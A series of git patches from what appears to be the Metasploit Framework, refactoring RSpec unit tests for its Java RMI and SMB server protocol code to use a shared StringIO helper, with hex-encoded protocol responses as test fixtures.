"\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + } it "raises an Rex::Proto::Rmi::Exception" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + msf_io.msf_data = lookup_exception expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do + let(:lookup_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + } + it "returns the reference information" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" + msf_io.msf_data = lookup_response expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end From 60de01432c9fe04aeec05f11d7774ff9faf02222 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:26:51 -0600 Subject: [PATCH 063/103] Use Msf::StringIO in close_spec --- .../smb/server/share/command/close_spec.rb | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index c4875cbda1..21ecd9a911 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -7,6 +7,8 @@ require 'msf/core/exploit/smb/server/share' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,14 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } let(:response_length) { 39 } let(:valid_response) do "\x00\x00\x00\x23\xff\x53\x4d\x42" + @@ -34,7 +28,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -45,13 +39,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_close_res" do it "returns the number of bytes sent" do - expect(mod.send_close_res(client)).to eq(response_length) + expect(mod.send_close_res(msf_io)).to eq(response_length) end it "sends a valid SMB_COM_CLOSE response to the client" do - mod.send_close_res(client) - client.seek(0) - res = client.read + mod.send_close_res(msf_io) + res = msf_io.read expect(res).to eq(valid_response) end end From 7933fa53569c44f10fda363f72053efce8334e29 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:29:01 -0600 Subject: [PATCH 064/103] Use Msf::StringIO on negotaite_spec --- .../server/share/command/negotiate_spec.rb | 26 +++++++------------ 1 file changed, 9 insertions(+), 17 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index 74f3397ff0..1fe65a2481 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -8,6 +8,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -16,14 +18,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } let(:default_response_length) { 73 } let(:default_response) do "\x00\x00\x00\x45\xff\x53\x4d\x42" + @@ -53,7 +47,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -66,27 +60,25 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_negotitate_res" do it "returns the number of bytes sent" do - expect(mod.send_negotitate_res(client)).to eq(default_response_length) + expect(mod.send_negotitate_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NEGOTIATE response to the client" do - mod.send_negotitate_res(client) - client.seek(0) - res = client.read + mod.send_negotitate_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end describe "#smb_cmd_negotiate" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_negotiate(msf_io, valid_request)).to eq(valid_response_length) end it "returns an 8 byte challenge" do - mod.smb_cmd_negotiate(client, valid_request) - client.seek(0) + mod.smb_cmd_negotiate(msf_io, valid_request) pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct - pkt.from_s(client.read) + pkt.from_s(msf_io.read) expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length) end From 87a189d990806808cbbd05ca4d6fe8b51666c222 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:31:56 -0600 Subject: [PATCH 065/103] Use Msf::StringIO on nt_create_andx_spec --- .../share/command/nt_create_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index b56d3447f9..612257c75f 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 139 } let(:default_response) do "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + @@ -74,8 +67,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:smb_error_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -91,13 +85,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_nt_create_andx_res" do it "returns the number of bytes sent" do - expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length) + expect(mod.send_nt_create_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.send_nt_create_andx_res(client) - client.seek(0) - res = client.read + mod.send_nt_create_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -105,26 +98,24 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_nt_create_andx" do context "when valid request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length) + expect(mod.smb_cmd_nt_create_andx(msf_io, valid_request)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.smb_cmd_nt_create_andx(client, valid_request) - client.seek(0) - res = client.read + mod.smb_cmd_nt_create_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end context "when non existent path create requests" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length) + expect(mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request)).to eq(smb_error_length) end it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do - mod.smb_cmd_nt_create_andx(client, non_existent_path_request) - client.seek(0) - res = client.read + mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request) + res = msf_io.read expect(res).to eq(smb_error_response) end end From 692a3cb24c9a152026f212ba441eacf44a29a136 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:35:29 -0600 Subject: [PATCH 066/103] Use Msf::StringIO on read_andx_spec --- .../server/share/command/read_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 844b3af4c2..163a29994e 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 63 } let(:default_response) do "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + @@ -62,8 +55,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:empty_response_length) { 63 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -79,13 +73,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_read_andx_res" do it "returns the number of bytes sent" do - expect(mod.send_read_andx_res(client)).to eq(default_response_length) + expect(mod.send_read_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.send_read_andx_res(client) - client.seek(0) - res = client.read + mod.send_read_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -94,26 +87,24 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when read request for valid offset" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_read_andx(msf_io, valid_request)).to eq(valid_response_length) end it "sends a valid response with the contents to the client" do - mod.smb_cmd_read_andx(client, valid_request) - client.seek(0) - res = client.read + mod.smb_cmd_read_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end context "when read request for invalid offset" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length) + expect(mod.smb_cmd_read_andx(msf_io, invalid_offset_request)).to eq(empty_response_length) end it "sends an empty read response to the client" do - mod.smb_cmd_read_andx(client, invalid_offset_request) - client.seek(0) - res = client.read + mod.smb_cmd_read_andx(msf_io, invalid_offset_request) + res = msf_io.read expect(res).to eq(empty_response) end end From eeca2f4b8a11f0d26e9530e74d720bc7b17eb643 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:37:45 -0600 Subject: [PATCH 067/103] Use Msf::StringIO on session_setup_and_spec --- .../share/command/session_setup_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index a01e76c934..f0c152637a 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 45 } let(:default_response) do "\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + @@ -73,8 +66,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:opts) { {} } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -91,13 +85,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_session_setup_andx_res" do context "when no extra command" do it "returns the number of bytes sent" do - expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length) + expect(mod.send_session_setup_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.send_session_setup_andx_res(client) - client.seek(0) - res = client.read + mod.send_session_setup_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -109,13 +102,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "returns the number of bytes sent" do - expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length) + expect(mod.send_session_setup_andx_res(msf_io, opts)).to eq(default_tree_connect_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.send_session_setup_andx_res(client, opts) - client.seek(0) - res = client.read + mod.send_session_setup_andx_res(msf_io, opts) + res = msf_io.read expect(res).to eq(default_tree_connect_response) end end @@ -123,13 +115,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_session_setup_andx" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_session_setup_andx(msf_io, valid_request)).to eq(valid_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.smb_cmd_session_setup_andx(client, valid_request) - client.seek(0) - res = client.read + mod.smb_cmd_session_setup_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end From 6405c8102d4c8632349a4c156f063474c10b0b2f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:39:30 -0600 